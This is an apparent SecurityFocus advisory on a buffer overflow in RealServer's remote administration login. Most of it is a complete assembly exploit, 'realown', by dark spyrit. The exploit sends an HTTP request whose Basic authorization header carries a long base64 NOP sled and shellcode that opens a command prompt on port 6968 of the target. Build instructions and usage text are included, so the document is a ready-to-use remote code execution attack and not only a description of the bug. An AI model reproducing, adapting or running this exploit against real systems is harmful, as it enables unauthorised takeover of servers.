source: https://www.securityfocus.com/bid/767/info
At installation, the Real Server software randomly selects an unused port as the remote administration port. This port is used by Real Server's remote web administration feature. To access this feature, the correct port must be specified and a valid username/password pair must be entered. By sending a long response to this authentication request, the buffer can be overwritten and arbitrary code can be executed on the server.
; The binary is available at http://www.beavuh.org.
;
; This exploits a buffer overflow in RealServers web authentication on
; the administrator port - hence the reason the shellcode is base64 encoded.
; This has been tested on the NT version with a default installation.
; If RealServer is installed in a different directory than the default, the
; buffer will need to be adjusted accordingly.
; The administrator port is randomly selected at installation, but as you'll
; only be testing on your own networks this won't matter :)
;
; To assemble:
;
; tasm32 -ml realown.asm
; tlink32 -Tpe -c -x realown.obj ,,, import32
;
; TASM 5 required!
;
; dark spyrit <dspyrit@beavuh.org>
.386p
locals
jumps
.model flat, stdcall
extrn GetCommandLineA:PROC
extrn GetStdHandle:PROC
extrn WriteConsoleA:PROC
extrn ExitProcess:PROC
extrn WSAStartup:PROC
extrn connect:PROC
extrn send:PROC
extrn recv:PROC
extrn WSACleanup:PROC
extrn gethostbyname:PROC
extrn htons:PROC
extrn socket:PROC
extrn inet_addr:PROC
extrn closesocket:PROC
.data
sploit:
db "GET /admin/index.html HTTP/1.0",0dh,0ah
db "Connection: Keep-Alive",0dh,0ah
db "User-Agent: Mozilla/4.04 [en] (X11; I; Beavuh OS .9 i486; Nav)",0dh,0ah
db "Host: 111.111.11.1:1111",0dh,0ah
db "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*",0dh,0ah
db "Accept-Language: en",0dh,0ah
db "Accept-Charset: iso-8859-1,*,utf-8",0dh,0ah
db "Authorization: Basic kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJC"
db "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk"
db "JCQkJCQkJCQkJCQkJCQkJCQ6wiQkJBXRToAkJCQkJCQkJCQkJCQkJCQkIt0JPiL/jPAUPf"
db "QUFnyr1mxxovHSIAwmeL6M/aWu5mcQEbB6whW/xOL0PwzybELSTLArITAdflSUVZSs5T/E"
db "6tZWuLsMsCshMB1+bOcVv8Ti9D8M8mxBjLArITAdflSUVZSs5T/E6tZWuLsg8YFM8BQQFB"
db "AUP9X6JNqEFZT/1fsagJT/1fwM8BXULAMq1irQKtfSFBXVq1W/1fASFBXrVatVv9XwEiwR"
db "IkHV/9XxDPAi0b0iUc8iUdAiwaJRzgzwGa4AQGJRyxXVzPAUFBQQFBIUFCtVjPAUP9XyP9"
db "28P9XzP92/P9XzEhQUFP/V/SL2DPAtARQwegEUP9X1IvwM8CLyLUEUFBXUVD/d6j/V9CDP"
db "wF8IjPAUFf/N1b/d6j/V9wLwHQvM8BQ/zdWU/9X+GpQ/1fg68gzwFC0BFBWU/9X/FczyVF"
db "QVv93rP9X2GpQ/1fg66pQ/1fkkNLcy9fc1aqrmdrr/Pjt/Mnw6fyZ3vztyu346+3s6dD3/"
db "/bYmdrr/Pjt/Mnr9vr86urYmdr19ur80fj3/fX8mcn8/PLX+PT8/cnw6fyZ3vX2+/j12PX"
db "19vqZzuvw7fzf8PX8mcv8+P3f8PX8mcr1/Pzpmdzh8O3J6/b6/Orqmc7K1trSqquZ6vb68"
db "vztmfvw9/2Z9fDq7fz3mfj6+vzp7Znq/Pf9mev8+u+Zm5mCoZmZmZmZmZmZmZmZmfr0/bf"
db "84fyZ/////w==",0dh,0ah,0dh,0ah,0
sploit_length equ $-sploit
logo db "RealServer G2 exploit [NT] - please check http://www.beavuh.org for info.", 13, 10
db "by dark spyrit <dspyrit@beavuh.org>",13,10,13,10
db "usage: realown <host> <admin_port>", 13, 10
db "eg - realown host.com 6666",13,10
db "the exploit will spawn a command prompt on port 6968",13,10,0
logolen equ $-logo
errorinit db 10,"error initializing winsock.", 13, 10, 0
errorinitl equ $-errorinit
derror db 10,"error.",13,10,0
derrorl equ $-derror
nohost db 10,"no host or ip specified.", 13,10,0
nohostl equ $-nohost
noport db 10,"no port specified.",13,10,0
noportl equ $-noport
reshost db 10,"error resolving host.",13,10,0
reshostl equ $-reshost
sockerr db 10,"error creating socket.",13,10,0
sockerrl equ $-sockerr
ipill db 10,"ip error.",13,10,0
ipilll equ $-ipill
cnerror db 10,"error establishing connection.",13,10,0
cnerrorl equ $-cnerror
success db 10,"sent.. spawn connection now.",13,10,0
successl equ $-success
console_in dd ?
console_out dd ?
bytes_read dd ?
wsadescription_len equ 256
wsasys_status_len equ 128
WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends
sockaddr_in struct
sin_family dw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockaddr_in ends
wsadata WSAdata <?>
sin sockaddr_in <?>
sock dd ?
numbase dd 10
_port db 256 dup (?)
_host db 256 dup (?)
_port2 db 256 dup (?)
buffer db 1000 dup (0)
.code
start:
call init_console
push logolen
push offset logo
call write_console
call GetCommandLineA
mov edi, eax
mov ecx, -1
xor al, al
push edi
repnz scasb
not ecx
pop edi
mov al, 20h
repnz scasb
dec ecx
cmp ch, 0ffh
jz @@0
test ecx, ecx
jnz @@1
@@0:
push nohostl
push offset nohost
call write_console
jmp quit3
@@1:
mov esi, edi
lea edi, _host
call parse
or ecx, ecx
jnz @@2
push noportl
push offset noport
call write_console
jmp quit3
@@2:
lea edi, _port
call parse
push offset wsadata
push 0101h
call WSAStartup
or eax, eax
jz winsock_found
push errorinitl
push offset errorinit
call write_console
jmp quit3
winsock_found:
xor eax, eax
push eax
inc eax
push eax
inc eax
push eax
call socket
cmp eax, -1
jnz socket_ok
push sockerrl
push offset sockerr
call write_console
jmp quit2
socket_ok:
mov sock, eax
mov sin.sin_family, 2
mov ebx, offset _port
call str2num
mov eax, edx
push eax
call htons
mov sin.sin_port, ax
mov esi, offset _host
lewp:
xor al, al
lodsb
cmp al, 039h
ja gethost
test al, al
jnz lewp
push offset _host
call inet_addr
cmp eax, -1
jnz ip_aight
push ipilll
push offset ipill
call write_console
jmp quit1
ip_aight:
mov sin.sin_addr, eax
jmp continue
gethost:
push offset _host
call gethostbyname
test eax, eax
jnz gothost
push reshostl
push offset reshost
call write_console
jmp quit1
gothost:
mov eax, [eax+0ch]
mov eax, [eax]
mov eax, [eax]
mov sin.sin_addr, eax
continue:
push size sin
push offset sin
push sock
call connect
or eax, eax
jz connect_ok
push cnerrorl
push offset cnerror
call write_console
jmp quit1
connect_ok:
xor eax, eax
push eax
push sploit_length
push offset sploit
push sock
call send
push successl
push offset success
call write_console
quit1:
push sock
call closesocket
quit2:
call WSACleanup
quit3:
push 0
call ExitProcess
parse proc
;cheap parsing..
lewp9:
xor eax, eax
cld
lodsb
cmp al, 20h
jz done
test al, al
jz done2
stosb
dec ecx
jmp lewp9
done:
dec ecx
done2:
ret
endp
str2num proc
push eax ecx edi
xor eax, eax
xor ecx, ecx
xor edx, edx
xor edi, edi
lewp2:
xor al, al
xlat
test al, al
jz end_it
sub al, 030h
mov cl, al
mov eax, edx
mul numbase
add eax, ecx
mov edx, eax
inc ebx
inc edi
cmp edi, 0ah
jnz lewp2
end_it:
pop edi ecx eax
ret
endp
init_console proc
push -10
call GetStdHandle
or eax, eax
je init_error
mov [console_in], eax
push -11
call GetStdHandle
or eax, eax
je init_error
mov [console_out], eax
ret
init_error:
push 0
call ExitProcess
endp
write_console proc text_out:dword, text_len:dword
pusha
push 0
push offset bytes_read
push text_len
push text_out
push console_out
call WriteConsoleA
popa
ret
endp
end start
